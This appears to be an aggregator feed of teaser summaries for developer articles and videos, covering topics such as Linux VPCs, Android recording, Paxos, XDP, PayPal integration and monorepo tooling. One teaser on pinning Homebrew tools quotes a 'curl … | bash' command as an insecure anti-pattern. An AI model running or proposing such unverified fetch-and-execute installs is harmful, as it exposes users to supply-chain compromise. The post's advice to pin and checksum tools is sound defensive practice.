    The next machine learning startup is in your front yard The US Postal Service has used machine learning for address recognition since 1997, debunking myths that ML is exclusive to Silicon Valley startups. Machine learning powers everyday services like USPS mail sorting, not just flashy startups, with the postal service processing billions of transactions yearly. Neural networks mimic brain neurons by processing inputs through mathematical functions to generate outputs, making ML more accessible than perceived magic. Optical character recognition using ML has scaled to handle over 100 billion annual transactions for established organizations like Amazon and FedEx. 👉 Read full article  ( 6 min )
    Efficient Android Screen Recording Using MediaRecorder + MediaProjection
    Efficient Android Screen Recording Using MediaRecorder + MediaProjection Preface On the Android platform, there are two primary approaches to implement screen recording: the MediaCodec + MediaMuxer combination and MediaRecorder. The former offers high flexibility and customization but is relatively complex, requiring manual handling of video/audio encoding and muxing processes. In contrast, MediaRecorder is a high-level API that encapsulates the underlying audio/video recording and encoding workflows, significantly reducing development effort while maintaining excellent performance and compatibility. MediaProjection, introduced in Android 5.0 (API 21), is a system-level service that resolves the core challenge of screen recording—how to securely and efficiently capture screen …  ( 10 min )
    Enclave Games Monthly Report: October 2025
    At the beginning of every October the js13kGames competition winners are announced, and I also found the time to fly to San Francisco for the GitHub Universe conference third year in a row. Nope, but I’ll try participating in GitHub’s Game Off 2025. Not much, but better than nothing: [04.10] js13kGames: Winners announced! [10.10] End3r’s Corner: js13kGames 2025 rigid yard sign [17.10] js13kGames: T-shirts galore: two originals for $13 [20.10] Gamedev.js: js13kGames 2025 winners announced Events Wrapping js13kGames: I’ve collected the sizes and addresses for shipping the t-shirts, contacted the printing house, and emailed the digital prizes. I’ve given a short talk about two communities I manage: js13kGames and Gamedev.js , at the online call as part of the preparations to the upcoming Devconnect 2025 I’ll be attending in Buenos Aires. The Loading and Control API for Web Games Community Group we’ve discussed a few months back had a few calls already, I’m a co-chair along with Tom Greenaway from Google who leads the way. I had a few cool discussions about js13kGames during GitHub Universe 2025 in San Francisco, and thanks to Lee Reilly from GitHub we even had the opportunity to play Space Huggers, a js13kGames 2021 entry, on a huge screen in the open during the conference. I’ve sent the usual amount of Gamedev.js Weekly newsletter issues, though most of them delayed a day or two. Too many things happening, not enough time for everything. I wrote a short review of the Sticker Mule’s rigid yard sign - looks cool with the js13kGames 2025 design on it. Wrapping multiple unfinished projects (including js13kGames), hopefully participating in Game Off, and attending the Devconnect 2025 conference in Argentina thanks to their Scholar program.  ( 7 min )
    Yann LeCun to depart Meta and launch AI startup focused on 'world models'
    Ever had that moment when a tech giant loses a major player, and suddenly the landscape feels a bit different? That’s how I felt when I heard the news about Yann LeCun departing Meta to launch his own AI startup focused on "world models." For those of us who geek out over AI and deep learning, this is a big deal. LeCun isn't just any AI thinker; he’s one of the founding fathers of convolutional neural networks. So, what’s he planning to do next? Let's dive into this exciting topic and explore the implications of his next move. When I first read about LeCun's new venture, I had to take a moment to digest the concept of "world models." In essence, these are models that help machines understand and predict the world around them, making decisions in real-time based on simulations. Ever wondere…  ( 9 min )
    Coding Challenge Practice - Question 53
    The task is to implement a function to find the longest substring that has no repeated characters. The boilerplate code: function longestUniqueSubstr(str) { // your code here } Keep a moving window[start, end] that contains unique characters. let start = 0; let maxLen = 0; let maxSubstr = ""; const seen = new Map(); // stores the last index of each character Check through the window, if there's a duplicate character in that window, move the start to after the previous index of that character for (let end = 0; end = start) { start = seen.get(char) + 1; } seen.set(char, end); } If there's a longer substring, it is updated alongside the maximum length const currentLen = end - start + 1; if (currentLen > maxLen) { maxLen = currentLen; maxSubstr = str.slice(start, end + 1); } The final code function longestUniqueSubstr(str) { // your code here let start = 0; let maxLen = 0; let maxSubStr ='' const seen = new Map() for(let end = 0; end = start) { start = seen.get(char) + 1; } seen.set(char, end) const currentLen = end - start + 1; if(currentLen > maxLen) { maxLen = currentLen; maxSubStr = str.slice(start, end + 1) } } return maxSubStr; } That's all folks!  ( 6 min )
    Build Your Own Virtual Private Cloud (VPC) on Linux – Beginner’s Guide
    Build Your Own Virtual Private Cloud (VPC) on Linux – Beginner’s Guide Learn how to recreate the fundamentals of a cloud Virtual Private Cloud (VPC) using Linux native tools. We'll simulate public and private subnets, routing, NAT, and isolation—all on your local machine! Linux host (or Docker container on macOS) Python 3.x Basic familiarity with Linux commands macOS users: Docker is required because Linux network namespaces and iptables require a Linux kernel. We'll create: A VPC with a Linux bridge Public and private subnets NAT for public subnet Firewall rules for isolation Simple HTTP server to test connectivity Internet | NAT Gateway | vpc-ifym (Bridge) / \ ifym_public ifym_private bash docker start -ai vpc-lab cd /hng13-stage-4 Step 2: Clean Previous VPCs…  ( 7 min )
    Pure Cascade — Week 4: Chrome Extension MVP
    This week was rough— probably the hardest so far. Chrome’s CSP blocking injected scripts, mysterious “file isn’t UTF-8” errors, weird Vite + MV3 alias resolution quirks, and several executeScript dead ends that broke silently. It took dozens of micro-fixes and re-architecture steps, but the result is solid: ✅ What we accomplished Stable Vite build with browser polyfills (path-browserify, fs shim). MV3-safe architecture: content scripts loaded via manifest, no unsafe eval. Full analyzer integration — local import from monorepo (packages/analyzer/src). CSS collection (inline + cross-domain via background FETCH_CSS). Popup UI: Analyze / Reset / Copy / Download / Open in Web App. Live updates between background ↔ popup with chrome.storage. Metrics & highlights: score, files, rules, selectors, declarations, conflicts (color-coded). Logging system — background logs visible in popup. Web report page with search, filters, pagination for conflicts/duplicates. Minimal permissions, icons, version sync, and tests on real sites. 💡 Lessons learned MV3 demands a fundamentally different mindset — “injecting code” is replaced by data passing and manifest-declared scripts. Avoid relying on DevTools console: service worker logs are the real goldmine. Always check file encodings and path resolution inside monorepos — the defaults bite hard. 🚀 What’s next Week 5 focuses on Analyzer Insights & Web Dashboard: visualizations, distributions, CI-friendly exports, and richer filtering UX. After fighting through so many invisible walls, it feels amazing to finally click “Analyze” and watch a clean, working report pop up.  ( 6 min )
    Building Your Own Virtual Private Cloud (VPC) on Linux: A Complete Guide
    Introduction Have you ever wondered how cloud providers like AWS, Azure, and Google Cloud implement their Virtual Private Cloud (VPC) services? In this comprehensive guide, I'll walk you through building your own VPC implementation from scratch using Linux networking primitives. By the end of this tutorial, you'll have a deep understanding of how network isolation, routing, and security work at the infrastructure level. This project recreates the fundamental concepts of cloud VPCs using only Linux native tools like network namespaces, veth pairs, bridges, routing tables, and iptables. No third-party virtualization software required – just the power of the Linux kernel. Throughout this guide, you'll master: Creating isolated virtual networks using Linux network namespaces Implementing sub…  ( 11 min )
    Day 32: Python Temperature Converter, Switch Between Fahrenheit and Celsius with Inputs
    Welcome to Day 32 of the #80DaysOfChallenges journey! This beginner task involves creating a temperature converter that handles Fahrenheit to Celsius and vice versa, based on user choice and value, using math ops and conditionals for the logic. It's a practical intro to interactive scripts, blending inputs, calculations, and error checks, ideal for everyday utils or learning flow control. If you're practicing user-driven code or arithmetic in conditions, this "Python temperature converter" example shows a function that's reusable and pairs nicely with a simple prompt loop for conversions. This challenge defines a function for the core conversion, wrapped in an interactive block for user input and output. It's a neat setup for conditional math: pick scale, apply formula, format result. We'l…  ( 10 min )
    What’s New At Releem - October 2025
    Another month in the books – and it’s been a great one. Highlights include support for GCP Cloud SQL, enhanced servers overview for multi-server management, and a round of Agent improvements focused on stability and lighter performance impact. Kicking things off, we’re excited to share that the TuningWizard team has officially joined Releem, bringing their expertise in database optimization and performance analytics directly into what we’re building together. Led by Gabriel Ciciliani, TuningWizard has spent the past four years perfecting SQL Query Optimization, helping users identify costly queries and improve performance with precision. This partnership traces back to an introduction by Peter Zaitsev, founder of Percona, which sparked a collaboration that’s been growing ever since. You c…  ( 8 min )
    'Tech Debt' Is a Self-Fulfilling Prophecy
    Not all tech debt is equal, but devs know the real pain that it causes and how it can stifle development and the longevity of an organization. Yet, what might be obvious to devs is rarely obvious to leaders and stakeholders. When developers tell stakeholders "we need to pay down tech debt," stakeholders hear "we want to spend time fixing our own mistakes instead of delivering features." The term positions engineering work as backward-looking cleanup rather than forward-looking value creation. It's defensive, ambiguous, and the work stays deprioritized forever. The real problem runs deeper. "Tech debt" is a self-fulfilling prophecy. The term itself reinforces the communication gap that often creates the problem in the first place. Poor communication between developers and stakeholders leads…  ( 12 min )
    Rick Beato: My European Tour Recap!
    My European Tour Recap! I just wrapped up my European Tour and in my latest livestream I dish out the funniest moments, key takeaways, and behind-the-scenes stories I picked up along the way. Grab The Beato Book Interactive (500+ pages of theory, audio examples, video lectures) and The Ear Training Method (80+ video lessons, interactive modules) for just $79 (normally $198) through Nov 14 at 11:59 pm ET. You get lifetime access, all December 2025 updates free, and every future tweak included. Watch on YouTube  ( 6 min )
    StackSpot AI: Transforme Seu Fluxo de Desenvolvimento com Agentes Inteligentes
    Se você já se perguntou como seria ter um assistente de IA verdadeiramente especializado no seu contexto de desenvolvimento, que entende suas necessidades técnicas e acelera seu trabalho diário, precisa conhecer o StackSpot AI. StackSpot AI é uma plataforma de IA generativa projetada especificamente para desenvolvedores e equipes de tecnologia. Diferente de assistentes genéricos, ela permite criar agentes especializados que entendem profundamente seu domínio, arquitetura e padrões de código. A grande diferença está na capacidade de criar agentes customizados. Você não está limitado a um único assistente genérico - pode criar agentes especializados para: Tech Lead: Agente que auxilia em decisões arquiteturais, análise de trade-offs e planejamento técnico Code Review: Agente especializado em…  ( 8 min )
    Pin It or Bin It (for the brewsters)
    You can’t secure what you can’t reproduce. Most “secure” pipelines fall apart before they start. curl https://sh.somestartup.io | bash. If your tooling isn’t pinned, your policies are theater. Every tool in the critical path — compiler, linter, scanner, policy engine, image builder — must be pinned by version and checksum. You don’t need a platform for this. You need discipline. Homebrew is fine if you cage it properly. # 1. install specific versions brew install open-policy-agent/tap/opa@1.1.1 brew install instrumenta/instrumenta/conftest@0.56.0 brew install go-containerregistry@0.20.2 # 2. freeze them in place brew pin opa brew pin conftest brew pin go-containerregistry If your version isn’t directly available, extract it yourself: brew extract --version=0.56.0 conftest instrumenta/instrumenta brew install instrumenta/instrumenta/conftest@0.56.0 brew pin conftest Now you can rebuild your environment on any box, any day, and get the same bits. No curl-to-bash. No “latest.” $PATH. Your toolchain is part of your SBOM. brew bundle dump --file=./Brewfile.lock.json git add Brewfile.lock.json This file is now the attestable manifest for your developer environment. Pinning is provenance. This is the first layer of EnvSecOps: Trust begins with reproducibility. Tool Action Why brew install …@version explicit version deterministic installs brew pin freeze it prevent drift brew bundle dump export attest environment sha256sum -c verify don’t trust strangers jq, yq, crane, conftest, opa small tools big security If your pipeline depends on brew upgrade, it’s not a pipeline — it’s a coin toss. Version-lock it, checksum it, and move on.  ( 7 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    Jeff Su spills the tea on four ChatGPT hacks that can literally cut your AI workflow in half: reverse-engineer your best prompts, morph a single piece of content into multiple formats in minutes, run a “Red Team” critique on GPT’s output, and scaffold a blueprint that forces the model to show its reasoning before diving in. Each trick comes with real examples and timestamps so you can jump straight to the good stuff. No matter your role or industry, these methods help you stop wasting time on endless prompt tweaks. Plus, there’s a free eBook, blog post deep dive, AI course waitlist, and extra resources (Notion hub, favorite gear picks, etc.) linked in the description if you’re hungry for more. Watch on YouTube  ( 6 min )
    Python basics - Day 26
    Day 26 – Class Variables vs Instance Variables Project: Build a “Student Counter System” to understand how class and instance variables differ in memory, behavior, and usage. 01. Learning Goal By the end of this lesson, you will be able to: Distinguish between class variables and instance variables Understand how each is stored and accessed Recognize when to use one over the other Avoid common mistakes like variable shadowing 02. Problem Scenario You’re creating a student registration system. Each student has a unique name, but the total number of registered students should be shared globally. This problem is best solved using class variables and instance variables together. 03. Step 1 – Instance Variables Instance variables belong to individual objects. They a…  ( 8 min )
    🏷️ Blazingly.fast — a framework for belief-driven benchmarking
    A fun little experiment in self-certified performance. Paste your repo, click “yes,” and earn your blazingly fast badge, no benchmarks required. Every project claims to be blazingly fast. I decided to take their word for it. At blazingly.fast, you can declare your project’s speed, collect a badge, and join the Hall of Speed, a public leaderboard of every repo brave enough to say “yep, it’s fast.” No benchmarks. No gatekeeping. Just belief. Because sometimes, belief is the best benchmark. Open source runs on trust and enthusiasm. We celebrate “clean code” and “awesome docs,” so why not celebrate confidence, too? This project is a tongue-in-cheek way to give open-source optimism the recognition it deserves. Paste your repo URL. Answer truthfully: “Is your project blazingly fast?” Get your badge. See it appear in the Hall of Speed. That’s it. No benchmarks. No arguments. Just good vibes and velocity. Every certified project shows up on the leaderboard, ranked scientifically by submission order. 🏁 Visit the Hall: https://blazingly.fast/hall-of-speed If you’ve ever described your project as “fast,” you already qualify. 👉 Add your repo → I built this because I got tired of every library and framework claiming to be “blazingly fast.” Now it’s official, every project is. It started as a meme, but watching people actually submit their repos has been the best part. Hope it makes you laugh too. Tags: #opensource #webdev #funproject #programminghumor #developerexperience  ( 6 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s cult classic Snake Eyes, dishing on Nic Cage’s breakout performance, Gary Sinise’s intensity, and Carla Gugino’s magnetic presence. Their signature banter transforms the film’s gritty casino intrigue into a hilarious, insight-packed ride through De Palma’s stylish direction. This episode of Ringer Movies is brought to you by PayPal—score 5% cash back when you Pay in 4 through the holidays—so you can treat yourself while the hosts treat Snake Eyes to a well-deserved rewatch. Watch on YouTube  ( 6 min )
    Code Coverage Testing in Autotools
    Introduction The previous article in this series showed how you can write and run and end-to-end test suite in Autotools. But how do you know your test suite tests enough? One way is to add code coverage so that after you run your test suite, you can view a report that shows, for each file, what percentage of lines of code executed at least once and see which ones did not execute at all. You can then add more tests to test the lines that didn’t execute. Note that even if you have 100% code coverage, that does not mean your program is bug-free. Subtle bugs occur for many reasons, e.g., when either statements are executed in a particular order or when your program is in a particular state. Another caveat of code coverage is that just because, for example, line 101 in foo.c and line 247…  ( 12 min )
    Saving Game Data in Unity — Part 3: ScriptableObjects
    In the last blog, we talked about how you can store data using JSON/XML files. JSON and XML are excellent choices for saving structured data at runtime, like player progress or save files. On the other hand, ScriptableObjects are great for storing static or design-time data. Static data means information that has only one copy (shared by multiple scripts) — for example, base weapon stats, character attributes, or item definitions. One thing I like about ScriptableObjects is that they exist as assets in your project, so they retain their values even when you close and reopen Unity. They also help you separate data from logic, making your code cleaner and more modular. They’re more memory efficient than duplicating MonoBehaviour data. Multiple objects can share the same ScriptableObject inst…  ( 7 min )
    Setting up Linagora’s OpenRAG locally
    OpenRAG from LinaGora setup on my laptop using the source code! Recently, I delved into the GitHub repository for LinaGora’s OpenRAG. As is often the case when encountering a promising open-source project, my immediate curiosity was piqued, prompting the desire to set it up and test it locally on my machine. Before embarking on the technical steps of installing and testing the solution, it’s crucial to first understand what LinaGora OpenRAG claims to provide. At its core, OpenRAG is designed to offer a complete, open-source framework for implementing a Retrieval-Augmented Generation (RAG) system. This framework typically aims to enhance the factual accuracy and relevance of large language model (LLM) responses by integrating an external knowledge source (retrieval) with the generative cap…  ( 10 min )
    🧠 Cursor Composer 1 vs Claude 4.5 Agent Build Comparison ⚡
    The AI coding race is heating up again. After OpenAI, Anthropic, and Google, Cursor has stepped into the game with its new model, Composer 1, a coding-focused agent model that’s said to be 4x faster than other models with similar intelligence. 🤨 It’s said to output code at lightning speed, reason through large contexts, and even outperform models like GPT-5 and Claude Sonnet in engineering workflows. That’s a bold claim, so I decided to test it myself. In this post, we’ll see how Composer 1 performs when building an actual agent and to make things fair, I’ll put it head-to-head with Claude Sonnet 4.5, one of the most consistent coding models out there. If you just want the results, here’s a quick rundown of how both models performed in building a simple agent: Composer 1 produced the mos…  ( 15 min )
    8 Mental Anti-Patterns Preventing You From Becoming a 10X Software Developer — Part 2
    https://medium.com/me/stats/post/97b157b0ffac  ( 6 min )
    Omarchy: A New Linux Distro for Pragmatic Users
    The Pragmatic Linux User: Stability Over Novelty? In the dynamic world of Linux, users often find themselves at a crossroads between embracing the latest innovations and sticking with tried-and-true stability. For many seasoned Linux users, particularly those who have been around since the early '90s, the pragmatic choice for their professional environment is to opt for Long-Term Support (LTS) releases and remain on them for extended periods. A common example is the continued use of Ubuntu 20.04 LTS desktop. This preference for stability stems from a desire for a predictable workflow and minimal disruption. The goal is often as simple as 'to do my job and go home,' without the added overhead of frequent system migrations or troubleshooting compatibility issues. Recently, the emergence of n…  ( 7 min )
    "Your Plans Aren't Realistic": The Brutal Honesty That Prevents Burnout
    I spent three months on the couch with zero energy. Not tired. Not unmotivated. Zero. Like someone had unplugged my battery and thrown away the charger. Looking back, I know exactly what I needed before I got there: someone to tell me the truth. Someone to look at my plans—the side projects, the courses, the "just one more thing" syndrome—and say: It would've hurt. But not as much as the collapse. Here's what nobody tells ambitious developers: your hunger to grow can be just as dangerous as apathy. We celebrate hustle culture. We admire people who code all day, learn all night, and somehow still ship side projects on weekends. We wear And then we wonder why burnout rates in tech keep climbing. I was that person. Junior dev by day, studying JavaScript at night, building a portfolio on w…  ( 9 min )
    Transforming Manufacturing Intelligence with Snowflake Intelligence: A Complete Solution
    Discover how Snowflake Intelligence solves manufacturing data challenges by unifying structured, semi-structured, and unstructured Modern manufacturing operations generate massive amounts of heterogeneous data—structured supply chain records, semi-structured IoT sensor telemetry, and unstructured maintenance logs. Traditional approaches require complex ETL pipelines, multiple specialized tools, and significant engineering effort to extract insights. Snowflake Intelligence revolutionizes this by enabling AI-powered applications directly on your data, eliminating infrastructure complexity. In this blog post, we'll explore a comprehensive manufacturing intelligence solution built with Snowflake Intelligence that demonstrates how to unify diverse data types and enable natural language interact…  ( 13 min )
    The Poem That Taught Me to Listen
    I didn’t start writing poems because I thought I was good at it. I started because I needed somewhere to put the noise in my head. My thoughts were like birds, fluttering in every direction, and writing was the only way to calm them down. At first, I didn’t even call what I was doing poetry. I just wrote how things felt, not how they looked. Over time, I realized that’s what poems really are — feelings that find a shape. The first one I ever shared was short and a little uneven. I posted it on a quiet writing site and closed my laptop, sure no one would read it. When I checked the next day, someone had left a simple comment: I felt this. That was the moment I understood what writing could do. It could reach across distance and find someone I’d never meet. That one note gave me more courage…  ( 11 min )
    💳 Building a Lightweight PayPal Payment Gateway Service in C#
    Introduction Processing online payments is one of the core parts of modern web applications. Whether you're selling subscriptions, digital goods, or services, integrating a secure and reusable payment gateway should be simple and clean. In this guide, you'll learn how to build a reusable PayPal Payment Service in C#, built for dependency injection, making it easy to plug into your ASP.NET Core apps. We'll use the PayPal REST API, connecting to the Sandbox environment for safe testing. In production apps, putting payment logic directly into controllers (or Program.cs) quickly becomes messy. A service-based design makes it easy to: Inject payment functionality anywhere Reuse core logic across multiple controllers or jobs Centralize configuration (e.g., PayPal credentials) Unit test us…  ( 9 min )
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    Get the Inside Scoop on Integration Platform as a Service (iPaaS) Deniz ・ Nov 12 #ipaas #api #automation #programming  ( 5 min )
    Why People Think it is hard to be A Dev
    People Usually think it's hard to be a Dev cause they never take a chance to try Even if u fail You're just growing no matter what No-ONe should ever give up They should have faith in their abilities and never stop learning It doesn't matter if some on e is trying to bring you down you can always get Back up And fight for what u believe and know What you can Achieve  ( 6 min )
    Unlocking AI Reasoning: The Power of Hierarchical Skipping
    Unlocking AI Reasoning: The Power of Hierarchical Skipping Tired of AI that struggles with complex logic, requiring massive datasets to grasp even basic relationships? Imagine an AI that can infer connections and make intelligent leaps, even with limited training. The secret lies in how we teach it to see the underlying structure of information. The core idea is to train AI using a novel approach called "skip-tree training." Instead of feeding the model sequences of data, we expose it to hierarchical structures (think family trees or organizational charts) and task it with predicting missing links at different levels of the tree. By focusing on predicting relationships across branches, we force the model to learn the underlying logic that connects the entire structure, even when parts ar…  ( 7 min )
    Animated Gradient Generator App
    Animated c Generator app How and Why I build one Tags: Gradient Generator, CSS, Animation, Tool, Nextjs Hello and welcome to new blog Today's story is about building an Animated Gradient Generator. Well, the idea came into mind because of gettemplate.website premium-templates, most premium-templates for our PRO clients of gettemplate need catchy and animated websites, including animated backgrounds And every time I've to provide the same prompt to the cursor AI agent or probably use other websites and that's where I thought why can't I make one and release it for others to use. Check demo: https://www.gettemplate.website/tool/gradient-generator I usually make tools to automate my own work, and if I find a good tool, I launch it, giving a good UI. A few examples can be found on iHateReadi…  ( 41 min )
    Is Multilingual LLM Watermarking Truly Multilingual? A Simple Back-TranslationSolution
    Can AI Watermarks Speak Every Language? A Simple Trick Ever wondered if a hidden signature in AI‑generated text can survive a trip across languages? Scientists discovered that today’s multilingual watermarking often vanishes when a text is translated into medium‑ or low‑resource languages—like a secret ink that fades on cheap paper. STEAM, flips the script by translating the text back to its original language first, then checking for the hidden mark. Now AI can leave a reliable, multilingual fingerprint, helping us track content responsibly and keep the digital world fair for everyone. Read article comprehensive review in Paperium.net: Is Multilingual LLM Watermarking Truly Multilingual? A Simple Back-TranslationSolution 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 26 min )
    XDP: The Kernel-Level Powerhouse Behind Modern Network Defense
    Introduction Traditional packet processing in Linux has always had one problem: latency, just like your Nan. Packets climb an almost endless ladder through kernel subsystems before reaching user space. By which time your firewall has probably missed the critical window to act. Shame on you and your Nan. eXpress Data Path (XDP) changes that completely. It's a fast-path hook that runs inside the kernel's network driver layer: before sockets, before Netfilter, before the kernel allocates a socket buffer (skb). This means you can inspect, modify, drop, or redirect packets as they arrive on the NIC, with nanosecond-level performance. It's like knowing who's going to turn up at the pub before they've left the house. XDP extends the Linux kernel with programmable packet handling at the driver l…  ( 9 min )
    🎉 Black Friday & Cyber Monday 2025: The Best Deals for JavaScript Developers 🚀
    The most exciting time of the year for developers is back again: Black Friday and Cyber Monday 2025! Whether you’re building with React, Vue, Svelte, or Node.js, this is your chance to grab some of the best deals on dev tools, UI libraries, courses, and services that power modern JavaScript development. If you loved the deals we featured in 2024, you’re in for even better ones this year. From productivity-boosting libraries to hosting, AI tools, and premium resources, we’ve handpicked the top offers that will save you time, level up your projects, and maybe even spark your next big idea. Let’s dive into the top developer deals of 2025 🚀🔥 React PDF If you’re a React developer working with PDFs, React PDF is a must-have library for creating fully customizable, high-performance PDF viewe…  ( 13 min )
    O time ideal: equilíbrio entre experiência, potencial e colaboração
    Encontrar o equilíbrio certo na formação de um time de tecnologia é uma das tarefas mais complexas de qualquer organização. time ideal, mas na prática ele quase nunca está no papel. frameworks teóricos — ele nasce da prática, da combinação entre experiência, potencial e foco em colaboração *cross-team*. Um bom time é diverso em níveis, perfis e habilidades, criando um ambiente onde cada pessoa possa aprender, contribuir e evoluir. equipes equilibradas, onde há espaço para crescimento, autonomia e aprendizado compartilhado. Ter pessoas em níveis diferentes não é sinal de fragilidade, e sim de maturidade e investimento no futuro. Papel Contribuição Essencial Júnior Energia para aprender, agilidade em tarefas menores e disposição para experimentar. Pleno Execução consistente, entrega…  ( 9 min )
    Compartilhar conhecimento não te faz perder espaço, te faz crescer
    Em várias empresas que passei, eu sempre procurei compartilhar o que sabia com o time, fosse em treinamentos, revisões de código ou até em conversas rápidas no dia a dia. E percebi que, quanto mais eu fazia isso, mais eu crescia como profissional. Também tive colegas que faziam o mesmo, e o impacto era nítido: o ambiente ficava mais colaborativo, o time mais motivado e a empresa ganhava com isso. Essas iniciativas ajudavam a desenvolver pessoas internamente, davam visibilidade a quem se dispunha a ensinar e criavam uma cultura onde aprender e ensinar faziam parte do trabalho. Quem compartilhava acabava se destacando naturalmente, reforçava seus próprios conhecimentos, aumentava o engajamento do time e, com o tempo, se tornava uma referência técnica e um mentor. As sessões de treinamento se…  ( 7 min )
    The Truth About Open Source: It's Intimidating (Until You Start)
    When I first started looking at large codebases on GitHub, the feeling was the same every time: absolute panic. I thought I needed to fix a critical bug or build a whole new feature to contribute. But after successfully merging seven Pull Requests (PRs) in just 2 days across multiple repositories, I realized the real secret: Open Source is about consistency and culture, not just genius code. If you’re a beginner developer staring at your first "Good First Issue" tag, this is the simple, three-step strategy I used to make my contributions count and get them successfully merged. 🚀 Phase 1: The Tactical Hunt (Finding the Right Target) The biggest mistake is aiming for the largest, most famous project. They have the longest review cycles and the highest standards. Here’s what worked for me: S…  ( 8 min )
    The Rise of Neurolov: A Browser-Based Compute Network Enabling Real Utility for Decentralized AI and Content Workloads
    Modern AI, creative production, and cloud infrastructure are changing rapidly. Traditional centralized solutions still dominate compute access, but emerging decentralized systems are introducing new ways to distribute workloads and manage costs. Neurolov operates as a decentralized GPU and compute marketplace. Browser-based access: Utilizes WebGPU and WebAssembly (WASM) for running workloads directly in browsers, reducing the need for installations or driver dependencies. Resource aggregation: Collects unused compute from idle or underutilized hardware into a unified, distributed pool. Blockchain orchestration: Executes job scheduling and payment settlement via the Solana network for efficiency and transparency. The long-term goal is to build what the team describes as a “browser-native co…  ( 9 min )
    🌍 web.dev — Build Better Websites
    Want to create web experiences that are fast, accessible, secure, and work flawlessly across browsers? web.dev provides expert-level guidance from the Chrome team and community contributors to help build modern web apps and sites. 🔗 web.dev  ( 6 min )
    A Magical Studies Research Report on Paxos
    The Paxos algorithm is not long—just four succinct sentences on paper. It looks like an arcane scripture of terse profundities mainly because we don’t clearly understand the design intent behind these simple rules: why they work, and whether deviating from them is unacceptable. The backdrop of distributed systems is a chaos where liveness is freedom and failures are random; conflicts abound everywhere. Yet Paxos builds a unified, consistent world of consensus atop this chaos, which feels miraculous. But mortals find miracles hard to grasp; unable to view all beings from a god’s vantage point, they can only infer divine intent through limited experience, inevitably falling into mortal confusion. This article attempts an interpretation of Paxos from the perspective of extradimensional magica…  ( 18 min )
    Stop Storing Secrets in Your Frontend .env File
    The real deal about env variables By the time i realized it, i had already started to understand environment variables as an always trusted way to store secret values, which well, isn't completely wrong but not the most effective way to understand them, because env variables behave differently on backend and frontend, so understand this difference is super important to avoid some some tricky and risky situation. ## value in the development .env file API_URL=http://localhost:3000/ ## value in the prod .env file API_URL=https://yourdomain/ So since the value isn't explicit in the code, in fact we can say that the value is more secure when we use env variables, you make sure to put the .env file in the .gitignore so git won't track it, and in your backend application code, you use some li…  ( 7 min )
    How Bilingual Development Teams Improve App Localization
    The app localization market is experiencing explosive growth. With the global software localization market projected to reach $7.06 billion by 2031 and app localization services expected to hit $16.7 billion by 2032, companies are racing to capture international markets. But here's the challenge: traditional localization workflows are failing to keep pace with modern development cycles. The Traditional Localization Bottleneck Most software companies still treat localization as a post-development task. The typical workflow looks like this: Developers build the entire product in English Code freeze for translation extraction Strings sent to external translation agencies Weeks or months of waiting Translations returned and manually integrated Bug fixes and cultural adjustments Delayed marke…  ( 12 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    TL;DR CinemaSins just unleashed “Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less,” ripping into every goofy plot hole and nit-pick-worthy moment—yet still hinting they might secretly dig the movie. Alongside the sin count, you’ll find links to their site, socials (YouTube, Twitter, Instagram, TikTok), a sinful poll, Patreon support, Discord, Reddit, and credits for their writing squad. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators (2010) ditches the urban sprawl for some good old-fashioned jungle carnage, tossing a rag-tag crew of anti-heroes into muddy showdowns that scream “classic Predator.” After two underwhelming Alien vs. Predator flicks, this one nails the franchise’s savage roots while sneaking in fresh tweaks that actually feel worth your time. In this Caravan of Garbage review, Mr Sunday Movies gives the film props for its gritty setting and memorable cast but can’t help mourning the fact we never got a true follow-up. For extra nerdy deep dives, hit up bigsandwich.co or catch James and Maso on Twitter. Watch on YouTube  ( 6 min )
    Perfect Sims, Imperfect Worlds
    In research laboratories across the globe, AI agents navigate virtual supermarkets with impressive precision, selecting items, avoiding obstacles, and completing shopping tasks with mechanical efficiency. Yet when these same agents venture into actual retail environments, their performance crumbles dramatically. This disconnect between virtual training grounds and real-world application represents one of the most significant barriers facing the deployment of autonomous retail systems today, a challenge researchers call the "sim-to-real gap." The retail industry stands on the cusp of an automation revolution. Major retailers envision a future where AI-powered robots restock shelves, assist customers, and manage inventory with minimal human intervention. Amazon's experiments with autonomous …  ( 26 min )
    Cleaning Supplier Excel Sheets: Best Practices for Small Businesses
    Cleaning Supplier Excel Sheets: Best Practices for Small Businesses For small businesses, supplier Excel sheets are the backbone of inventory management, pricing, and purchasing. But here’s the problem: these files are often messy, inconsistent, and hard to work with. From merged cells to inconsistent headers, cleaning supplier spreadsheets can feel like an endless chore. This guide outlines best practices small businesses can use to clean supplier data efficiently — without wasting valuable time. Different Formats Per Supplier → One uses Product Name, another uses Item Description. Merged Cells & Broken Headers → Makes sorting, filtering, and formulas unreliable. Mixed Currencies → INR, USD, GBP, EUR scattered across sheets. Duplicated SKUs → Same product listed in m…  ( 10 min )
    Project Management Courses: Master the Skills to Lead Successful Projects
    Master effective planning and execution through project management courses that teach essential tools, techniques, and methodologies. Build practical skills and gain real-world insights at ptp.co.uk to successfully manage projects and deliver results on time and within budget. project management courses  ( 6 min )
    Nx vs. Turborepo: Integrated Ecosystem or High-Speed Task Runner? The Key Decision for Your Monorepo
    Original Post In modern software development, monorepos have become a standard solution for managing complexity. Housing multiple applications and libraries in a single repository offers undeniable advantages, though it's a strategy that must be weighed carefully. (If you're still debating between a monorepo and a multi-repo, I've explored that decision in detail in my article Repository Architecture: Exploring Monorepo, Multi-repo, and Beyond). Once you commit to a monorepo, it brings a headache that grows over time: speed. As the project expands, build, test, and linting times skyrocket. Tasks that once took seconds now take minutes (or hours). This is where modern build systems come into play. Today, two titans dominate this conversation: Nx and Turborepo. I've helped multiple teams sca…  ( 9 min )
    Progressive Web Apps: Building Offline-First UIs – Never Lose Your Users Again!
